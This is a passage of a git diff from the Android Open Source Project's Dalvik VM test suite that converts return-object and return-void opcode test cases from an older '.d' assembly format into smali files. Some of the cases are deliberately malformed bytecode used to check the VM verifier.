-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-      return-object v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali
new file mode 100644
index 0000000..19f371e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_16.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+      return-object v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.d
deleted file mode 100644
index f892233..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_2.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       const/4 v1, 0
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali
new file mode 100644
index 0000000..0eb70b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_2.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const/4 v1, 0
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.d
deleted file mode 100644
index 089fde7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_3.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       return-object v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali
new file mode 100644
index 0000000..c79a4a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_3.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       return-object v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.d
deleted file mode 100644
index 9b30169..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_4.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()F
-.limit regs 3
-
-      const v2, 3.14    
-      return-object v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.smali
new file mode 100644
index 0000000..b24a2cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_4;
+.super Ljava/lang/Object;
+.source "T_return_object_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 3
+
+    const p0, 0x4048f5c3    # 3.14f
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.d
deleted file mode 100644
index db9df1b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_5.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-      return-object v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali
new file mode 100644
index 0000000..dd1220e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_5.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+      return-object v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.d
deleted file mode 100644
index 582bd74..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.d
+++ /dev/null
@@ -1,64 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_6.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private static test()Ljava/lang/String;
-.limit regs 5
-
-       const-string v0, "aaa"
-       const-string v1, "bbb"
-       const-string v2, "ccc"
-       const-string v3, "ddd"
-       return-object v3
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 10
-       const-string v1, "a"
-       const-string v2, "b"
-       const-string v3, "c"
-       invoke-static {}, dot/junit/opcodes/return_object/d/T_return_object_6/test()Ljava/lang/String;
-       move-result-object v7
-
-       const-string v8, "ddd"
-       if-ne v7, v8, Label43
-
-       const-string v7, "a"
-       if-ne v1, v7, Label43
-
-       const-string v7, "b"
-       if-ne v2, v7, Label43
-
-       const-string v7, "c"
-       if-ne v3, v7, Label43
-
-       const-string v0, "hello"
-       return-object v0
-Label43:
-       const-string v0, "a"
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali
new file mode 100644
index 0000000..26b5f02
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali
@@ -0,0 +1,64 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_6.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private static test()Ljava/lang/String;
+.registers 5
+
+       const-string v0, "aaa"
+       const-string v1, "bbb"
+       const-string v2, "ccc"
+       const-string v3, "ddd"
+       return-object v3
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 10
+       const-string v1, "a"
+       const-string v2, "b"
+       const-string v3, "c"
+       invoke-static {}, Ldot/junit/opcodes/return_object/d/T_return_object_6;->test()Ljava/lang/String;
+       move-result-object v7
+
+       const-string v8, "ddd"
+       if-ne v7, v8, :Label43
+
+       const-string v7, "a"
+       if-ne v1, v7, :Label43
+
+       const-string v7, "b"
+       if-ne v2, v7, :Label43
+
+       const-string v7, "c"
+       if-ne v3, v7, :Label43
+
+       const-string v0, "hello"
+       return-object v0
+:Label43
+       const-string v0, "a"
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.d
deleted file mode 100644
index e82e7d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_8.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private declared_synchronized test()Ljava/lang/String;
-.limit regs 4
-
-    new-instance v2, java/lang/Object
-    invoke-direct {v2}, java/lang/Object/<init>()V
-    monitor-enter v2
-    monitor-exit v3
-    const-string v0, "abc"
-    return-object v0
-.end method
-
-.method public run()Z
-.limit regs 3
-
-    invoke-direct {v2}, dot/junit/opcodes/return_object/d/T_return_object_8/test()Ljava/lang/String;
-
-    const v0, 1
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.smali
new file mode 100644
index 0000000..3993e4a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_8;
+.super Ljava/lang/Object;
+.source "T_return_object_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()Ljava/lang/String;
+    .registers 4
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    const-string v0, "abc"
+
+    return-object v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 3
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_8;->test()Ljava/lang/String;
+
+    const v0, 0x1
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.d
deleted file mode 100644
index 44f819f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestStubs.java
-.interface dot.junit.opcodes.return_object.d.TInterface
-
-.source TestStubs.java
-.class dot.junit.opcodes.return_object.d.TSuper 
-.super java/lang/Object
-.implements dot.junit.opcodes.return_object.d.TInterface 
-    
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.source TestStubs.java
-.class dot.junit.opcodes.return_object.d.TChild 
-.super dot.junit.opcodes.return_object.d.TSuper 
-    
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, dot/junit/opcodes/return_object/d/TSuper/<init>()V
-       return-void
-.end method
-
-.source TestStubs.java
-.class dot.junit.opcodes.return_object.d.TSuper2
-.super java/lang/Object
- 
-    
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.source TestStubs.java
-.class dot.junit.opcodes.return_object.d.TestStubs 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TChild.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TChild.smali
new file mode 100644
index 0000000..3840280
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TChild.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TChild;
+.super Ldot/junit/opcodes/return_object/d/TSuper;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/TSuper;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TInterface.smali
new file mode 100644
index 0000000..28f2dd0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class interface Ldot/junit/opcodes/return_object/d/TInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper.smali
new file mode 100644
index 0000000..b074b2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TSuper;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/return_object/d/TInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper2.smali
new file mode 100644
index 0000000..eaca5b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper2.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TSuper2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TestStubs.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TestStubs.smali
new file mode 100644
index 0000000..6e78d4d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TestStubs.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TestStubs;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.d
deleted file mode 100644
index 739e288..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.d
+++ /dev/null
@@ -1,65 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_1.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    const v1, 1
-    const v2, 2
-    const v3, 3
-        
-    invoke-static {}, dot/junit/opcodes/return_void/d/T_return_void_1/test()V
-
-    const v4, 1    
-    if-ne v1, v4, Label0
-    
-    const v4, 2    
-    if-ne v2, v4, Label0
-
-    const v4, 3
-    if-ne v3, v4, Label0
-    
-    const v0, 123456
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method private static test()V
-.limit regs 5
-    
-    const v0, 9999
-    const v1, 0xaaa
-    const v2, 0xbbbb
-    const v3, 0xcccc
-    const v4, 0xdddd
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali
new file mode 100644
index 0000000..f649715
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali
@@ -0,0 +1,65 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_1.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+        
+    invoke-static {}, Ldot/junit/opcodes/return_void/d/T_return_void_1;->test()V
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()V
+.registers 5
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    const v4, 0xdddd
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.d
deleted file mode 100644
index b6bad32..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_3.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private declared_synchronized test()V
-.limit regs 2
-
-    new-instance v0, java/lang/Object
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    monitor-enter v0
-    monitor-exit v1
-    return-void
-.end method
-
-
-
-.method public run()Z
-.limit regs 1
-
-    invoke-direct {v0}, dot/junit/opcodes/return_void/d/T_return_void_3/test()V
-
-    const v0, 1
-    return v0
-.end method
-
